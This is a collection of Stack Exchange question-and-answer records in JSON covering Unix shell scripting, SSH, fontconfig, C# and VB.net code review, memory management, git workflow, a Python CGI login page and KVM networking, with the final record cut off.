{  "id": "_unix.89370"  , "question": "I have to change the date after an SSH login into machine, but I am not able to change it. Here is the script I have written:#!/bin/bashENVIRONMENT_LIST=environment_ip_listUSERNAME=rootdeclare ENVIRONMENT_ARRAYmdate=$#readIp(){while read IP    do        ENVIRONMENT_ARRAY[$env_count]=$IP        let env_count++    done < $ENVIRONMENT_LIST}change_date(){    for ((i = 0; i < env_count; i++))    do        ssh -t -t -o StrictHostKeyChecking=no $USERNAME@${ENVIRONMENT_ARRAY[i]} 'date -s $1 $2 $3 $4'    done}readIpchange_dateIn a terminal, I get this output:~/Desktop/changedate_script $ ./change.sh 04 SEP 2012 10:36:00root@192.168.12.160's password: bash: date -s  : command not foundConnection to 192.168.12.160 closed."  , "title": "Change date after SSH login in shell script"  , "tags": "bash;shell script"  , "accepted_answer": "There are too many quotes in ssh command.Use the following one: ssh -t -t -o StrictHostKeyChecking=no $USERNAME@${ENVIRONMENT_ARRAY[i]} date -s '$1 $2 $3 $4'also change tsring with change_date function call to:change_date $1 $2 $3 $4"  } 
{  "id": "_webmaster.2827"  , "question": "Could you answer to at least one of these questions:Is GoDaddy SSL standard certificate compatible with all browsers(Chrome and Safari on iPhone, or Android browsers included)?http://www.godaddy.com/ssl/ssl-certificates.aspx?ci=8979Is it running on Apache servers?"  , "title": "Is GoDaddy SSL standard certificate compatible with all browsers?"  , "tags": "godaddy;security certificate"  , "accepted_answer": "YesYes:)I use it for all of my clients' websites which are hosted on an Apache powered web server. I obviously wouldn't do that if it wasn't 100% compatible."  } 
{  "id": "_scicomp.21092"  , "question": "I am a student doing physics hons and have had very little experience in programming. This semester we are supposed to do a computational project in thermodynamics. I have to solve these two coupled diff eqns:$$\\begin{aligned} (p,T ) &= \\frac{p ^2}{2m} + \\frac{2}{N}\\sum_q f(p  q)\\,n (q)  \\frac{1}{N^2}\\sum_{s,t} f(s  t)\\,n(s)\\,n(t) \\quad\\text{and} \\\\n(p) &= \\frac{1}{\\exp\\left[\\cfrac{ (p,T )  \\mu}{kT}\\right]  1}\\end{aligned}$$$\\omega$ is the energy per boson.$p$ is the momentum of a boson.$n(p)$ is the number of bosons in the state with momentum $p$.$f$ is a function of the form $$  f(p)=\\frac{1}{2} \\left[\\epsilon_0- \\frac{p^2}{2m}\\right]$$ $\\epsilon_0$ is elementary excitation energy at 0 K. $N$ is total no of bosons.$T$ is temp and $k$ is a constant.Can someone guide me to any simple methods to generate some crude solution to this problem? Based on a paper: Evaluation of specic heat for superuid helium between 0 - 2.1 K based on nonlinear theory By Shosuke Sasaki (arXiv:0807.1361v1 [cond-mat.other] 9 Jul 2008"  , "title": "Coupled Diff Equation from Bose Einstein distribution"  , "tags": "numerical analysis;c++;computational physics"  } 
{  "id": "_unix.283783"  , "question": "I would like to add a new directory to my user's font directories. To achieve that, I've added the following file:$ cat ~/.config/fontconfig/conf.d/dropbox-fonts.conf <?xml version='1.0'?><!DOCTYPE fontconfig SYSTEM 'fonts.dtd'><fontconfig> <dir>~/Dropbox/fonts</dir></fontconfig>The reason for using a separate file is that it's easier for me to define it with Puppet.However, the fonts are not picked up. As soon as I create a symlink from ~/Dropbox/fonts to ~/.fonts/fonts they are picked up.How can I define an additional font directory in a separate file?"  , "title": "Adding a new per-user font directory"  , "tags": "fontconfig"  , "accepted_answer": "The configuration file was not being picked up since it is apparently necessary to have a numerical prefix for the files placed in conf.d directories, e.g. ~/.config/fontconfig/conf.d/10-dropbox-fonts.conf works, while ~/.config/fontconfig/conf.d/dropbox-fonts.conf does not.The leading 10- in the file name makes the difference."  } 
{  "id": "_codereview.87003"  , "question": "Here's a method inside my controller that reads the values of angle and point data from my database. Then it grabs the data and adds it to a new list and sends the JSON to the view.I can't simplify this simply putting my if statements into two ActionResults because I can only bind one datasource to one kendo grid.[OutputCache(NoStore = true, Duration = 0, VaryByParam = *)]        public ActionResult ReadMeasurements([DataSourceRequest] DataSourceRequest request, string viewType)        {            JsonResult json = new JsonResult();            List<AngleData> angledata = UserSession.GetValue(StateNameEnum.Planning, ScreenName.Planning.ToString() + Angles + viewType, UserSessionMode.Database) as List<AngleData>;            List<PointData> pointData = UserSession.GetValue(StateNameEnum.Planning, ScreenName.Planning.ToString() + Points + viewType, UserSessionMode.Database) as List<PointData>;            if(pointData != null && angledata != null)             {                List<PlanningViewParam> angles = new List<PlanningViewParam>();                foreach (AngleData i in angledata)                {                    string col = # + ColorTranslator.FromHtml(String.Format(#{0:X2}{1:X2}{2:X2}, (int)(i.color.r * 255), (int)(i.color.g * 255), (int)(i.color.b * 255))).Name.Remove(0, 2);                    int angleVal = (int)i.angleValue;                    angles.Add(new PlanningViewParam()                    {                        Color = col,                        Label = Angle,                        Value = angleVal,                        Number = i.angleNumber                    });                }                List<DPlanningViewParam> points = new List<PlanningViewParam>();                foreach (PointData f in pointData)                {                    string col = # + ColorTranslator.FromHtml(String.Format(#{0:X2}{1:X2}{2:X2}, (int)(f.color.r * 255), (int)(f.color.g * 255), (int)(f.color.b * 255))).Name.Remove(0, 2);                    string pointAnglesVal = f.pointAnglesValue;                    points.Add(new PlanningViewParam()                    {                        Color = col,                        Label = Point,                        ValueTwo = pointAnglesVal,                        Number = f.pointNumber                    });                }                return Json(new { Angles =  angles, Points = points }, JsonRequestBehavior.AllowGet);            }            if (angledata != null)            {                List<PlanningViewParam> angles = new List<PlanningViewParam>();                foreach (AngleData i in angledata)                {                    string col = # + ColorTranslator.FromHtml(String.Format(#{0:X2}{1:X2}{2:X2}, (int)(i.color.r * 255), (int)(i.color.g * 255), (int)(i.color.b * 255))).Name.Remove(0, 2);                    int angleVal = (int)i.angleValue;                    angles.Add(new PlanningViewParam()                    {                        Color = col,                        Label = Angle,                        Value = angleVal,                        Number = i.angleNumber                    });                }                return json = Json(angles.ToDataSourceResult(request, i => new PlanningViewParam()                {                    Color = i.Color,                    Label = i.Label,                    Value = i.Value,                    Number = i.Number                }), JsonRequestBehavior.AllowGet);            }            if (pointData != null)            {                List<PlanningViewParam> points = new List<PlanningViewParam>();                foreach (PointData f in pointData)                {                    string col = # + ColorTranslator.FromHtml(String.Format(#{0:X2}{1:X2}{2:X2}, (int)(f.color.r * 255), (int)(f.color.g * 255), (int)(f.color.b * 255))).Name.Remove(0, 2);                    string pointAnglesVal = f.pointAnglesValue;                    points.Add(new PlanningViewParam()                    {                        Color = col,                        Label = Point,                        ValueTwo = pointAnglesVal,                        Number = f.pointNumber                    });                }                return json = Json(points.ToDataSourceResult(request, f => new PlanningViewParam()                {                    Color = f.Color,                    Label = f.Label,                    Value = f.Value,                    Number = f.Number                }), JsonRequestBehavior.AllowGet);            }            return null;        }"  , "title": "Return existing values inside database"  , "tags": "c#;json;asp.net mvc 4"  , "accepted_answer": "First of all, get rid of this line:JsonResult json = new JsonResult();Just use return new JSON(...).Now, you have repeating chunks of codes when you construct the angles and points Lists. I recommend you extract them to separate methods. If you do not want to clutter your code with the methods use the delegate() or Func<>() to create a functions inside your method.So, with that your code will be simpler:    public ActionResult ReadMeasurements([DataSourceRequest] DataSourceRequest request, string viewType)    {        List<AngleData> angledata = UserSession.GetValue(StateNameEnum.Planning, ScreenName.Planning.ToString() + Angles + viewType, UserSessionMode.Database) as List<AngleData>;        List<PointData> pointData = UserSession.GetValue(StateNameEnum.Planning, ScreenName.Planning.ToString() + Points + viewType, UserSessionMode.Database) as List<PointData>;        if(pointData != null && angledata != null)         {            List<PlanningViewParam> angles = BuildAngles(angledata);            List<DPlanningViewParam> points = BuildPoints(pointData);            return new Json(new { Angles =  angles, Points = points }, JsonRequestBehavior.AllowGet);        }        else if (angledata != null)        {            List<PlanningViewParam> angles = BuildAngles(angledata);            return new Json(angles.ToDataSourceResult(request, i => new PlanningViewParam()            {                Color = i.Color,                Label = i.Label,                Value = i.Value,                Number = i.Number            }), JsonRequestBehavior.AllowGet);        }        else if (pointData != null)        {            List<DPlanningViewParam> points = BuildPoints(pointData);            return new Json(points.ToDataSourceResult(request, f => new PlanningViewParam()            {                Color = f.Color,                Label = f.Label,                Value = f.Value,                Number = f.Number            }), JsonRequestBehavior.AllowGet);        }        return null;    }BTW, I noticed that the JSON for the first condition pointData != null && angledata != null is returned differently. You return just new { Angles =  angles, Points = points } allowing the .Net engine to serialise the data for you. For other conditions you explicitly list all elements. You either did not test the first condition, or the explicitly listing all elements is not required, as the engine does the job for just fine. If the latter is the case then use return new Json(new { Angles =  angles }, JsonRequestBehavior.AllowGet); instead of angles.ToDataSourceResult(request, i... Try this and see how it goes:    public ActionResult ReadMeasurements([DataSourceRequest] DataSourceRequest request, string viewType)    {        List<AngleData> angledata = UserSession.GetValue(StateNameEnum.Planning, ScreenName.Planning.ToString() + Angles + viewType, UserSessionMode.Database) as List<AngleData>;        List<PointData> pointData = UserSession.GetValue(StateNameEnum.Planning, ScreenName.Planning.ToString() + Points + viewType, UserSessionMode.Database) as List<PointData>;        if(pointData != null && angledata != null)         {            List<PlanningViewParam> angles = BuildAngles(angledata);            List<DPlanningViewParam> points = BuildPoints(pointData);            return new Json(new { Angles =  angles, Points = points }, JsonRequestBehavior.AllowGet);        }        else if (angledata != null)        {            List<PlanningViewParam> angles = BuildAngles(angledata);            return new Json(new { Angles =  angles }, JsonRequestBehavior.AllowGet);        }        else if (pointData != null)        {            List<DPlanningViewParam> points = BuildPoints(pointData);            return new Json(new { Points = points }, JsonRequestBehavior.AllowGet);        }        return null;    }"  } 
{  "id": "_datascience.18191"  , "question": "can someone please tell me the difference between a BI trendline, and a linear/exponential regression?When explaining this to a hardcore BI person, what can be used to mark the difference?   Thanks."  , "title": "BI vs Data Science. Looking for a difference in definitions"  , "tags": "regression"  , "accepted_answer": "Any difference in regression models can be reduced to differences in the latent model (e.g., linear vs. exponential), regularizer (e.g., $L^p$ norm), and loss function. So you can have subtle differences by keeping some of these three parameters fixed while modifying the rest.My understanding of a BI trend line is that it assumes an affine latent model without saying anything about the regularizer or loss function (though I'd assume it's the MSE unless stated otherwise). In the data science world, you should also state what loss function and regularizer you used if you want to be clear."  } 
{  "id": "_cs.45455"  , "question": "Is there a hardware interrupt that is pre-configured by the OS or something?  Try to keep the answer on the scale of a register or so.  Are some special preparatory signals sent across the bridges to the hardware to make boundaries?"  , "title": "How does the operating system set up memory boundaries?"  , "tags": "computer architecture;memory management;memory access"  , "accepted_answer": "How memory boundaries work depends on the system, but the most common method is a memory management unit (MMU) or a memory protection unit (MPU). Whenever the CPU makes a memory access, the address is analyzed by the MPU or MMU. An MPU either allows or forbid the access; an MMU is more powerful and translates the virtual address passed by the processor into a physical address used by the memory controller.When the access is denied, this triggers a kind of interrupt (not necessarily an actual interrupt because it often comes from inside the CPU; the vocabulary depends on the architecture but it's often called trap or exception). Other than that, no interrupts are involved.On most architectures, the MMU is part of the CPU. So MMU configuration does not involve any signals sent across the bridges (did you mean the buses?).The MPU/MMU acts based on tables. The CPU sets the tables, generally by setting a register which contains a pointer to the main table. The operating system normally modifies the table whenever a context switch between tasks occurs or a task allocates or frees memory."  } 
{  "id": "_unix.111578"  , "question": "I want to copy positionXYZ into another directory's inside I want both of them.I put:Tutorials myname $ cp -r positionXYZ Documents/Gerris\\ Programs/Tutorials/tutorial6/Then it says :cp: directory Documents/Gerris Programs/Tutorials/tutorial6 does not existTutorials is the positionXYZ's current parent directory, tutorial6 is the directory which I want to copy the file into. "  , "title": "Copy a file into another directory's inside"  , "tags": "file copy"  , "accepted_answer": "I assume you are already in Documents/Gerris Programs/Tutorials/so, all you need to do is:cp -r positionXYZ tutorial6/or if you want to use an absolute path (assuming that Documents is in your home directory ~):cp -r positionXYZ ~/Documents/Gerris\\ Programs/Tutorials/tutorial6/"  } 
{  "id": "_unix.112184"  , "question": "This is the output of  apt-cache policy firefoxfirefox:  Installed: 26.0~linuxmint1+lmde  Candidate: 26.0~linuxmint1+lmde  Version table: *** 26.0~linuxmint1+lmde 0        500 http://packages.linuxmint.com/ debian/import amd64 Packages        100 /var/lib/dpkg/statusThe version is shown as 26.0~linuxmint1+lmde, what is the 0 that comes after it? I have tried with various packages and there is always a 0 after the package version. Presumably, this can also take other values but I haven't seen it.I read through both the man and info pages of apt-cache and could not find anything relevant. The only explanation of policy is:   policy [pkg...]       policy is meant to help debug issues relating to the preferences       file. With no arguments it will print out the priorities of each       source. Otherwise it prints out detailed information about the       priority selection of the named package."  , "title": "What are the numbers after the version in the output of apt-cache policy?"  , "tags": "debian;apt;version"  , "accepted_answer": "It is <minimum-priority-to-consider>:A general output would be:package-name:  Installed: <installed-version>  Candidate: <version-installed-when-doing-apt-get-upgrade>  Package-Pin: <version-of-Pin-in-etc-apt-preferences>  Version table: *** <some-version> <minimum-priority-to-consider>       <priority-of-this-instance> <repository1>       <priority-of-this-instance> <repository2> *** <some-other-version> <minimum-priority-to-consider>       <priority-of-this-instance> <repository3>       <priority-of-this-instance> <repository4>So, in the output above, package firefox has version 26.0~linuxmint1+lmde with minimum priority of 0, and may be provided by two repositories with a priority of 500 and 100 respectively.From this debian errata section, via linuxquestions.org and askubuntu."  } 
{  "id": "_unix.329685"  , "question": "When I enable or disable locales in /etc/locale.gen configuration file, then I need to execute locale-gen. Looks like locale-gen processes enabled locale files(or locale template files?) for enabled locales in /usr/share/i18n/locales/ directory. Does it produce some kind of binary file? How does this affect the glibc or locale-aware binaries? Am I correct that glibc and locale-aware binaries use the locales based on the variables seen in the output of locale command?"  , "title": "relationship between locales and glibc/locale-aware binaries"  , "tags": "debian;locale"  , "accepted_answer": "Does it produce some kind of binary file?Yes, typically /usr/lib/locale/locale-archive.How does this affect the glibc or locale-aware binaries?Usually they will fall back to the standard locale (called C or POSIX) which does not require a locale-archive file.Am I correct that glibc and locale-aware binaries use the locales based on the variables seen in the output of locale command?Yes. You can set separate locales for displaying monetary values LC_MONETARY, etc. But the main variable that acts as a default if the others aren't set is LANG. locale just reports what your current environment variables are implying."  } 
{  "id": "_unix.352516"  , "question": "I don't quite understand the output from the free -h command since I'm a newbie. I have tried searching but am still not quite sure.Should I be worried my free memory is only 46M or is the -/+ buffers/cache row value that says 351M free also available for whatever?             total       used       free     shared    buffers     cached         Mem:          594M       548M        46M        76M        28M  277M-/+ buffers/cache:       242M       351MSwap:           0B         0B         0BIf it matters, this is a web server that hosts a few websites that don't get more than 30 visits per day each."  , "title": "Should I be concerned my free memory is so low or is the free memory in buffers/cache available for anything also?"  , "tags": "debian;memory;webserver"  , "accepted_answer": "The -/+ buffers/cache indicate the size of RAM that is dedicated directly for read/write by all the process of running applications. When you run free with -m flag, -/+ buffers/cache is the most important row to look at. In your case, it doesn't mean that (351+46)Mb is your total free memory but is a way to visualize that 242 Mb has been used by processes and 351Mb of buffers/cache in RAM is dedicatedly free for other application to use.Linux always tries to use RAM to speed up disk operations by using available memory for buffers (file system metadata) and cache (pages with actual contents of files or block devices). It may be noted that if a system has been running for a while, a small number can be seen under the free column of the mem row."  } 
{  "id": "_codereview.43350"  , "question": "Here's a novel-length summary of the issue:I'm trying to write a VB.net program to help me collect remote site statistics from system-generated logs, but I'm a little like a carpenter who only knows how to use a hammer, and my project has turned into a bit of a monstrosity; as embarrassing as my code is, I would really love to get some professional opinions on how I can make it more streamlined and efficient, and generally less embarrassing.Here's the basic rundown of relevant program functionality:The user can select up to five plaintext log files, each of which can be relatively long (the longest I have available for testing is 26k lines).The program reads through every line of each file in turn, using IO.File.ReadLines, looking for relevant entries (in this case, every time a terminal goes UP or DOWN), and records the information in an entry object, which is stored in a list of entry objects.  (At this point, I do a lot with the entries, but I'm going to focus just on one activity for this question).To find individual site outages, the program reads through the list of entries until it finds the first DOWN entry.  It records the site ID, the site's group ID, and the outage start time.  At this point, things start to get grossly inefficient.After it has collected the information listed in step 3, it records the current entry list index as a bookmark, then proceeds to look through all the following indices until it finds the next entry with that site ID; if that entry has an UP status, then it records that entry time as the outage end time, and calculated the total duration of the outage, then it goes back to the bookmark to look for the next outage start time.  If it's a DOWN status, it scraps the current outage and goes back to the bookmark to look for the next outage start time.  All of this information (and that recorded from step 3) is recorded in an outage object, and stored in a list of outages.  This step takes an extremely long time.The program then goes through the list of outages, and checks to see if the site ID is contained in a dictionary(of string, array).  If so, it adds the outage duration to the dictionary value array index 0, and it adds 1 to the array index 1.  This way, I can keep track of the total outage duration for that site, and the total number of outages.Once all the outages have been added to the dictionary of sites, the program runs through that dictionary and calculates the average downtime of each site, and puts the results into another dictionary(of string,integer) to associate the site ID with its average downtime.  It also adds each average downtime to a list (called sorter).  This next part is really sloppy, but I don't know how to do it better (or at all).The sorter list is then sorted in descending order.  When the average outage times are graphed (xval is index, yval is average duration in minutes), it only plots durations greater than the value in sorter(9); my intent was to graph only the top ten sites (by average downtime), because thousands can be present in a single log file and graphing all of them would be unreadable.  However, there are many many problems with doing it this way, and I don't know how to do it better when the values are stored in a dictionary.  Likewise, I can't store them in a list(of array), because I'd need to store strings and integers in the same array (unless there's a way around mixing types like that?).Here are the specific questions I have:Is there a more efficient way to perform these searches without resorting to so many time-consuming nested loops?Is there a more efficient and effective way to sort my outages by the outage duration (integer), while still keeping that duration associated with the site ID (string)?Public Sub avgdowntimepersite(ByVal type As DataVisualization.Charting.SeriesChartType)    Dim stats As New Dictionary(Of String, Integer)    Dim sorter As New List(Of Integer)    Dim outages As New List(Of outage)    Dim sites As New Dictionary(Of String, Array)    Dim x = 0 'This is a bookmark to return to after finding the start and stop times of an outage.    For i = 0 To searchedlist.Count - 2        Dim entry = searchedlist(i)        Dim newoutage As New outage        newoutage = Nothing        If entry.status = Down Then               'Find the first Down status in the list of search results.            newoutage.termid = entry.termid         'Gather as much info as you can from the Down status.            newoutage.popid = entry.popid            newoutage.starttime = entry.dtg            x = i                                   'Set the bookmark index to the index at which the Down status was found.            For a = i + 1 To searchedlist.Count - 2 'Go to the next line and start searching for the next status for this site.                Dim findend = searchedlist(a)       'If the searchresult termid matches the termid of the current outage...                If findend.termid = newoutage.termid And findend.status = Up Then     '...and the status is Up...                    newoutage.endtime = findend.dtg                                     '...collect the end time of the outage...                    newoutage.duration = newoutage.endtime - newoutage.starttime        '...and calculate the duration, in minutes.                    outages.Add(newoutage)                                              'Finally, add the new outage to the list of outages.                    i = x + 1                                                           'Go to one line after the bookmark to start looking for the next outage.                ElseIf findend.termid = newoutage.termid And findend.status = Down Then   'If the searchresult termid matches the outage termid, but it's another Down status...                    newoutage = Nothing                                                     '...scrap the current outage as unresolveable...                    i = x                                                                   '...and go back to the bookmark and start looking for the next outage.                    Continue For                End If            Next        End If    Next    If outages.Count > 0 Then                                           'If there were actually outages found by the above loop...        sites.Add(outages(0).termid, {outages(0).duration.Minutes, 1})  'Add the first outage to the list of sites. Format is: termid,(total duration, total # of outages)        For i = 1 To outages.Count - 1            Dim item As String = outages(i).termid            If sites.ContainsKey(item) Then                                     'If the current outage is already in the dictionary of sites...                sites(item)(0) = sites(item)(0) + outages(i).duration.Minutes   '...add the duration of the current outage to the total outage duration for that site...                sites(item)(1) += 1                                             '...and increase that site's total number of outages by one.            Else                sites.Add(item, ({outages(i).duration.Minutes, 1}))            End If        Next    End If    For Each tml In sites        stats.Add(tml.Key, (tml.Value(0) / tml.Value(1)))           'Calculate the average duration of each outage, and add it to the stats dictionary.        sorter.Add((tml.Value(0) / tml.Value(1)))    Next    sorter.Sort()    sorter.Reverse()    If stats.Count > 0 Then        outagechart.Series.Clear()        outagechart.Series.Add(avgpersite)        outagechart.Series(0).ChartType = type        outagechart.Series(0).Color = Color.Lime        outagechart.ChartAreas(0).AxisY.LabelStyle.ForeColor = Color.Gold        outagechart.ChartAreas(0).AxisX.LabelStyle.Angle = 45        outagechart.ChartAreas(0).AxisX.LabelStyle.ForeColor = Color.Gold        outagechart.ChartAreas(0).AxisX.Interval = 1        outagechart.ChartAreas(0).AxisX.IntervalType = DataVisualization.Charting.DateTimeIntervalType.NotSet    End If    For Each tml In stats        If tml.Value > sorter(9) Then            outagechart.Series(0).Points.AddXY(tml.Key, tml.Value)            outagechart.Series(0).IsXValueIndexed = True        End If    NextEnd Sub"  , "title": "Collect and calculate average times from log, then display top 10 longest durations"  , "tags": "optimization;strings;vb.net;dictionary"  } 
{  "id": "_softwareengineering.254271"  , "question": "Best practices with git (or any VCS for that matter) is supposed to be to have each commit do the smallest change possible. But, that doesn't match how I work at all.For example I recently I needed to add some code that checked if the version of a plugin to my system matched the versions the system supports. If not print a warning that the plugin probably requires a newer version of the system. While writing that code I decided I wanted the warnings to be colorized. I already had code that colorized error message so I edited that code. That code was in the startup module of one entry to the system. The plugin checking code was in another path that didn't use that entry point so I moved the colorization code into a separate module so both entry points could use it. On top of that, in order to test my plugin checking code works I need to go edit UI/UX code to make sure it tells the user You need to upgrade.When all is said and done I've edited 10 files, changed dependencies, the 2 entry points are now both dependant on the colorization code, etc etc. Being lazy I'd probably just git add . && git commit -a the whole thing. Spending 10-15 minutes trying to manipulate all those changes into 3 to 6 smaller commits seems frustrating which brings up the questionAre there workflows that work for you or that make this process easier?I don't think I can some how magically always modify stuff in the perfect order since I don't know that order until after I start modifying and seeing what comes up.I know I can git add --interactive etc but it seems, at least for me, kind of hard to know what I'm grabbing exactly the correct changes so that each commit is actually going to work. Also, since the changes are sitting in the current directory it doesn't seem like it would be easy to run tests on each commit to make sure it's going to work short of stashing all the changes. And then, if it were to stash and then run the tests, if I missed a few lines or accidentally added a few too many lines I have no idea how I'd easily recover from that. (as in either grab the missing lines from the stash and then put the rest back or take the few extra lines I shouldn't have grabbed and shove them into the stash for the next commit.Thoughts? Suggestions?PS: I hope this is an appropriate question. The help says development methodologies and processes"  , "title": "git workflow for separating commits"  , "tags": "version control;git"  } 
{  "id": "_webmaster.27294"  , "question": "Google page speed rank demands me to set an expiry date or a maximum age in the HTTP headers, by changing the Expires and Cache-Control: max-age.The site is hosted on a hosting company (not in my garage) on a windows platform.I tried by uploading a .htaccess file but they have IISPassword program that blocks it.The question is how do I modify the HTTP headers?when checking the current header this is what I get:HTTP/1.1 304 Not ModifiedContent-Location: http://pcgroup.co.il/Default.htmLast-Modified: Wed, 14 Mar 2012 18:38:56 GMTAccept-Ranges: bytesVary: Accept-EncodingServer: Microsoft-IIS/6.0X-Powered-By: ASP.NETDate: Wed, 14 Mar 2012 19:16:43 GMT"  , "title": "How do I modify the HTTP headers?"  , "tags": "webserver;page speed;http headers;http server"  , "accepted_answer": "Create a file called web.config.txt and then upload it to your server root. Then rename the file, removing .txt extension. You will then need to modify the file with the correct code."  } 
{  "id": "_unix.240414"  , "question": "I am trying to build a very simple login page, which asks the user for his register_no, username and password. And when he presses the submit button. I am trying to check whether it is an existing user or a new user and display a message accordingly.My folder hierarchy is like thisprodicus@Acer:~/Downloads/souvik_refactoring$ tree. cgi-bin  creating_user_base_table.py  user_base.db  usr_check.py index.html keyCheck.py1 directory, 5 filesWhat I have tried:For the index.html<!DOCTYPE html><html><head>    <title>Login page</title></head><body>    <div style = text-align : center ; >        <h1>Login page</h1>        <form action=/cgi-bin/usr_check.py method=get>             Registration number : <input type=number name=register_no min=1 max=2000000000>            <br><br>            Username : <input type=text name=username>            <br><br>            Password : <input type=password name = password>            <br><br>            <input type=submit value = Login>        </form>    </div></body></html>For creating_user_base_table.py#!/usr/bin/env python3.4import sqlite3import osdb_name = user_base.dbif db_name in os.listdir():    print(removing the user_base.db and creating a fresh copy of it)    os.system(rm user_base.db)print(Creating the database)conn = sqlite3.connect(db_name)cur = conn.cursor()user_table = CREATE TABLE users(reg_no INTEGER PRIMARY KEY, user_name TEXT, pass TEXT)new_users = (    (1081310251, 'admin', 'admin'),    (1081310234, 'foo', 'admin123'))cur.execute(user_table)print(table created)cur.executemany('INSERT INTO users VALUES(?, ?, ?)', new_users)conn.commit()print(default users created \\n\\ndisplaying them)cur.execute('SELECT * FROM users')print(cur.fetchall())and finally usr_check.py#/usr/bin/env python3.4import cgi, cgitbimport osimport sqlite3cgitb.enable()form = cgi.FieldStorage()register_no = form.getvalue('register_no')username = form.getvalue('username')passwd = form.getvalue('password')print(Content-type:text/html\\r\\n\\r\\n)print(<html>)print(<head>)print(<h1>Shit gets real here</h1>)print(</head>)print(<body>)print('<div style = text-align:center ; ')# print(</div>)print()conn = sqlite3.connect('user_base.db')cur = conn.cursor()## now to check whether the entered data is for## -> new user ## -> an old usercur.execute('SELECT user_name FROM users WHERE register_no = ?', (register_no,))rows = cur.fetchall()print(<br><br>)if len(rows) == 0:      print(<p>User : <b>, username , </b> does not exist.</p>)    cur.execute('INSERT INTO users VALUES(?, ?, ?)', (register_no, username, passwd))    print(<p>User was created successfully</p>)    print(Done)else:    print(<p>Welcome<b>, username ,</b>. Good to have you back)    print(<br><p>Your account details</p>)    print(<ul>)    print(<li>Register number : , register_no,  </li>)    print(<li>Username  , username, </li>)    print(</ul>)Error log : prodicus@Acer:~/Downloads/souvik_refactoring$ python -m CGIHTTPServerServing HTTP on 0.0.0.0 port 8000 ...127.0.0.1 - - [02/Nov/2015 12:43:23] GET /index.html HTTP/1.1 200 -127.0.0.1 - - [02/Nov/2015 12:44:03] GET /cgi-bin/usr_check.py?register_no=1081310234&username=foo&password=admin123 HTTP/1.1 200 -Traceback (most recent call last):  File /usr/lib/python2.7/CGIHTTPServer.py, line 252, in run_cgi    os.execve(scriptfile, args, env)OSError: [Errno 8] Exec format error127.0.0.1 - - [02/Nov/2015 12:44:03] CGI script exit status 0x7f00Following this https://stackoverflow.com/questions/10793042/sqlite3-insert-using-python-and-python-cgi I have the files permissionsprodicus@Acer:~/Downloads/souvik_refactoring$ lltotal 36drwxrwxr-x  3 prodicus prodicus  4096 Nov  2 08:30 ./drwxr-xr-x 15 prodicus prodicus 20480 Nov  2 11:29 ../drwxrwxrwx  2 prodicus prodicus  4096 Nov  2 12:23 cgi-bin/-rw-rw-r--  1 prodicus prodicus   629 Nov  2 08:38 index.html-rwxrwxr-x  1 prodicus prodicus   463 Nov  2 08:29 keyCheck.py*and prodicus@Acer:~/Downloads/souvik_refactoring/cgi-bin$ lltotal 20drwxrwxrwx 2 prodicus prodicus 4096 Nov  2 12:23 ./drwxrwxr-x 3 prodicus prodicus 4096 Nov  2 08:30 ../-rwxrwxrwx 1 prodicus prodicus  710 Nov  1 23:12 creating_user_base_table.py*-rwxrwxrwx 1 prodicus prodicus 2048 Nov  2 12:23 user_base.db*-rwxrwxrwx 1 prodicus prodicus 1576 Nov  2 08:26 usr_check.py*Surprisingly, cgitb is not showing an error. Where am I going wrong? Have been breaking my head on this since morning!"  , "title": "CGI error while trying to retrieve from sqlite3"  , "tags": "ubuntu;python;sqlite;cgi"  } 
{  "id": "_softwareengineering.165263"  , "question": "Assume I have abstract base model class called MoneySource. And two realizations BankCard and CellularAccount. In MoneysSourceListViewController I want to display a list of them, but with ListItemView different for each MoneySource subclass. What if I define a category on MoneySource@interface MoneySource (ListItemView)- (Class)listItemViewClass; @endAnd then override it for each concrete sublcass of MoneySource, returning suitable view class.@implementation CellularAccount (ListItemView)- (Class)listItemViewClass{    return [BankCardListView class];}@end@implementation BankCard (ListItemView)- (Class)listItemViewClass{    return [CellularAccountListView class];}@end@implementation MoneySourceListController- (ListItemView *)listItemViewForMoneySourceAtIndex:(int)index{    MoneySource *moneySource = [items objectAtIndex:index];    Class viewClass = [moneySource listItemViewClass];    ListItemView *view = [[viewClass alloc] init];    [view setupWithMoneySource:moneySource];    return [view autoreleased];}@endso I can ask model object about its view, not violating MVC principles, and avoiding class introspection or if constructions.Thank you!"  , "title": "Let a model instance choose appropriate view class using category. Is it good design?"  , "tags": "mvc;objective c"  } 
{  "id": "_unix.338413"  , "question": "I'm attempting to set up my first guest set up under KVM and am having trouble getting the network working.  The host machine vm_host_box has a static IP of 4.4.4.185.The guest I am setting up needs to have a static IP of 4.4.4.200.  I currently have zero connectivity to anything (including gateway) from the guest VM.   Note that the guest VM is a minimal install and I'm not able to install any additional packages due to not having network for yum. Here's what I can see from the host: [root@vm_host_box ~]# cat /etc/sysconfig/network-scripts/ifcfg-em1 TYPE=EthernetBOOTPROTO=noneDEFROUTE=yesIPV4_FAILURE_FATAL=noNAME=em1UUID=some-string-hereDEVICE=em1ONBOOT=yesDNS1=4.4.10.1DOMAIN=vmhostbox.my.domainIPV6INIT=noIPADDR=4.4.4.185PREFIX=23GATEWAY=4.4.4.2list of other ifcfg-* files: [root@vm_host_box network-scripts]# ls ifcfg-*ifcfg-em1  ifcfg-em2  ifcfg-em3  ifcfg-em4  ifcfg-loip addr details: [root@vm_host_box ~]# ip addr show em12: em1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN qlen 1000    link/ether 14:18:77:69:b6:9a brd ff:ff:ff:ff:ff:ff    inet 4.4.4.185/23 brd 170.140.203.255 scope global em1       valid_lft forever preferred_lft forever[root@vm_host_box ~]# ip addr show virbr06: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN qlen 1000    link/ether 52:54:00:11:3f:7e brd ff:ff:ff:ff:ff:ff    inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0       valid_lft forever preferred_lft foreverbrctl shows a bridge, but there is an interface listed and I'm not sure how it was added.  [root@vm_host_box ~]# brctl showbridge name bridge id       STP enabled interfacesvirbr0      8000.525400113f7e   yes     virbr0-nicHere's the virsh details for the default network.  I'm unclear about the range of IPs.  Will virsh be creating a new subnet, or am I telling it what IP's to look out for? [root@vm_host_box ~]# virsh net-list --all Name                 State      Autostart     Persistent---------------------------------------------------------- default              active     yes           yes[root@vm_host_box ~]# virsh net-edit default<network>  <name>default</name>  <uuid>0b06b7c0-708f-4925-a8f6-84587bf96575</uuid>  <forward mode='nat'/>  <bridge name='virbr0' stp='on' delay='0'/>  <mac address='52:54:00:11:3f:7e'/>  <ip address='192.168.122.1' 